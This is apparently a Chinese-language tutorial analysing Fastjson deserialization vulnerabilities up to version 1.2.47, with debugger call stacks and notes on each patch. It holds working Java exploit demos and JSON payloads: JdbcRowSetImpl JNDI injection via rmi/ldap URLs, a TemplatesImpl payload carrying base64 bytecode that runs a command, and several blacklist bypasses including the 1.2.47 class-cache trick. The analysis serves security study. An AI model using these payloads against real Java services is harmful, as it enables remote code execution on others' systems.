Fastjson反序列化

Fastjson反序列化

Fastjson

Fastjson是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Object。项目地址

Fastjson提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。

JSON.toJSONString

JSON.parseObject/JSON.parse

只有Java Bean格式的对象才能Fastjson被转为JSON(它们有标准的getter和setter方法)

1
2
3
4
5
6
7
//序列化
String text = JSON.toJSONString(obj);

//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

对于

1
{"@type":"Person","age":18,"name":"Faster"}

JSON.parse()会把@type当作类,调用构造方法,再调用类的setter方法把age,name属性写入,但是对于一些特殊的getter,fastjson也会调用,比如 FastJson 认为 getOutputProperties()outputProperties 的访问器 。

JSON.parseObject("{...}")其实是封装了parese(),把原本返回的对象调用getter方法取出属性放入JSONObject中

JSON.parseObject("{...}", VO.class)则是把age,name写入指定的类对象

parse触发了set方法,parseObject同时触发了set和get方法,由于存在这种autoType特性。如果@type标识的类中的setter或getter方法存在恶意代码,那么就有可能存在fastjson反序列化漏洞。

Fastjson<=1.2.24

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以结合JNDI的攻击手法进行利用。是通用性最强的利用方式,在以下三种反序列化中均可使用,JDK版本限制和JNDI类似。

主要是JdbcRowSetImpl类的setter方法setAutoCommit,可以调用到connect

从而调用lookup进行JNDI注入攻击

demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.alibaba.fastjson.JSON;
//import com.sun.rowset.JdbcRowSetImpl;
public class JdbcRowSetImpl {
public static void rmi(){
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/ref\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);

}
public static void ldap(){
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
public static void main(String[] args) {
rmi();
}
}

调试过程:

这种牢版本写得,整个调用栈还是比较复杂的,而且和后面版本差别很大,很多就不展开分析了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:627, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:10, Fastjson_Jdbc_LDAP

前三步主要是解析json字符串,存在易于访问的变量中

1
2
3
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:10, Fastjson_Jdbc_LDAP

到DefaultJSONParser中把我们的JdbcRowSetImpl类加载出来了(clazz),然后通过clazz的类型获取deserializer(FastjsonASMDeserializer_1_JdbcRowSetImpl),这个方法以字节码形式加载,具体里面发生了什么无法调试,在里面经过进一步解析

最后进入了JavaBeanDeserializer里,处理Beanclass后面把JdbcRowSetImpl实例化为了object对象

然后就是调用setter了,在DefaultFieldDeserializer中调用了setValue,这里边一定会调用JdbcRowSetImpl类的getter方法,跟进去

在setValue中,通过反射调用了method方法(即setAutoCommit,之前储存在FieldDeserializer的fieldInfo.method中了)

TemplatesImpl利用链

之前cc3的利用链:

newTransformer->getTransletInstance->defineTransletClasses->defineClass

而TemplatesImpl的getter方法getOutputProperties能调用newTransformer直接触发整个链加载恶意字节码

demo:

1
2
3
4
5
6
7
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":[""]
,'_name':'name'
,'_tfactory':{ }
,"_outputProperties":{ }
}
1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson_Temp {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
//或者是JSON.parse(text,Feature.SupportNonPublicField);
}
}

调试过程:

同上

Fastjson高版本绕过

怎么对比版本:

先把项目clone下来git clone https://github.com/alibaba/fastjson.git

然后签出要对比的版本,这里是1.2.24

然后把1.2.25与我们迁出的对比,点显示与工作树的差异

其实应该让1.2.25与1.2.24对比的(还是审计1.2.25的问题嘛,。),所以点交换分支

1.2.25-1.2.41绕过

其实改的挺少的,前面说在DefaultJSONParser中loadclass

发现多了一个checkAutoType检查类名的操作,但是在开启autoTypeSupport后存在逻辑漏洞,(没开启之前只允许白名单的类,开启后允许除了黑名单以外的类),使用Lcom.sun.rowset.JdbcRowSetImpl;(类的前后加L;)不会被黑名单检测,但是loadclass时会删除它们,使恶意类加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.alibaba.fastjson.parser;

import com.alibaba.fastjson.JSON;
public class Parse {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String text = "{" +
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " +
"\"autoCommit\":true" +
"}";
JSON.parseObject(text, Object.class, config);
}
}

或者用parse(),下面的版本统一用JSON.parseObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.alibaba.fastjson.parser;

import com.alibaba.fastjson.JSON;
public class Parse {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text = "{" +
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(text);
}
}

调试过程

开启autoTypeSupport后,没添加白名单,直接开始检测黑名单,startsWith因为我们加的L不会匹配成功

然后下面又判断autoTypeSupport,进入loadClass

然后去掉L``;加载类

1.2.42绕过

把黑名单换成了hash值,。

如果以L开头;结尾则去掉它们

当然可以双写绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.alibaba.fastjson.parser;

import com.alibaba.fastjson.JSON;
public class Parse {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String text = "{" +
"\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " +
"\"autoCommit\":true" +
"}";
JSON.parseObject(text, Object.class, config);
}
}

1.2.43修复

处理了LL开头,直接返回报错

把白名单改成用户自定义acceptHashCodes

但loadclass里面还处理了[,但是会返回Array

DefaultUsoNParser.pareObject中checkAutotype之后根据clazz类型选则deserializer

进到ObjectArrayCodec,直接到parseArray的逻辑了

要求下一个token(逗号后的token)必须是[,cao(它的except拼错了)

再下一层要求token是{

所以最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.alibaba.fastjson.parser;

import com.alibaba.fastjson.JSON;
public class Parse {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String text = "{" +
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +
"\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " +
"\"autoCommit\":true" +
"}";
JSON.parseObject(text, Object.class, config);
}
}

1.2.44修复

增加了对[的处理,直接报错

1.2.45绕过

添加了一些黑名单,但是有组件没有在黑名单中,比如org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.alibaba.fastjson.parser;

import com.alibaba.fastjson.JSON;
public class Parse {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String text = "{\n" +
" \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
" \"properties\":{\n" +
" \"data_source\":\"ldap://127.0.0.1:1099/ref\"\n" +
" }\n" +
"}";
JSON.parseObject(text, Object.class, config);
}
}

调试过程

还是在DefaultJSONParser中,解析完@type,checkAutotype没有被黑名单拦住,然后

getDeserializer

我们传入的JndiDataSourceFactory没有被注册,所以没有获取到deserializers中的deserializer,所以调用getDeserializer方法,跟进去看看

getDeserializer

经过一系列的检查,为这个组件加载、注册了FastJsonASMDerializer

然后在这个以字节码加载的方法中(调试不进去)调用了setter方法,到lookup触发JNDI注入

1.2.46修复

添加了一些黑名单,包括上面的org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

1.2.47通杀绕过

影响版本:<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport</font>
影响版本:<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">1.2.33 <= fastjson <= 1.2.47</font>
描述:作者删除了一个 fastjson 的测试文件:<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">https://github.com/alibaba/fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66</font> ,里面包含了这次通杀漏洞的 payload。

还是在checkAutoType中,检查autoTypeSupport之前,尝试从mappings和deserializers中加载类,如果能控制它们的话肯定能加载任意类

deserializers

我们能控制着写入deserializers的(绿色的有入参的)也就getDeserializer、putDeserializer了

<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">getDeserializer()</font>:这个类用来加载一些特定类,以及有 <font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">JSONType</font> 注解的类,它加载的类基本上是固定的,无法利用

<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">putDeserializer()</font>:两种调用都无法控制入参

mappings

只剩loadClass能用了

首先clzz要是Class.class,这也是使用MiscCodec的Deserializer的条件

然后strVal就是objVal

解析完@type的Class.class如果下一个键为val,读取它的值

然后恶意类就被加载进mappings了,当然,load出来的恶意类是不能调用其setter的,只能再解析一次

1
2
3
4
5
6
7
8
9
10
11
12
{
"1":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
}
,
"2":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1099/ref",
"autoCommit":"true"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.alibaba.fastjson.parser;

import com.alibaba.fastjson.JSON;
public class Parse {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\n" +
" \"1\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" }\n" +
" ,\n" +
" \"2\":{ \n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"ldap://127.0.0.1:1099/ref\",\n" +
" \"autoCommit\":\"true\"\n" +
" }\n" +
"}";
JSON.parseObject(text, Object.class, config);
}
}

调试过程

parse完@type把Class.class扔进checkAutotype中,java.lang.Class没有在黑名单中,

然后根据clazz选择下一步的deserializer,这里直接成了MiscCodec的deserializer

跟进MiscCodec的deserialize方法,读取val的值然后loadClass,把恶意类放入mapping,成功绕过黑名单

1.2.48版本修复

把cache默认值改为false

TypeUtils#loadClass中易于利用的第三处mapping.put做了限制

java.lang.Class放入黑名单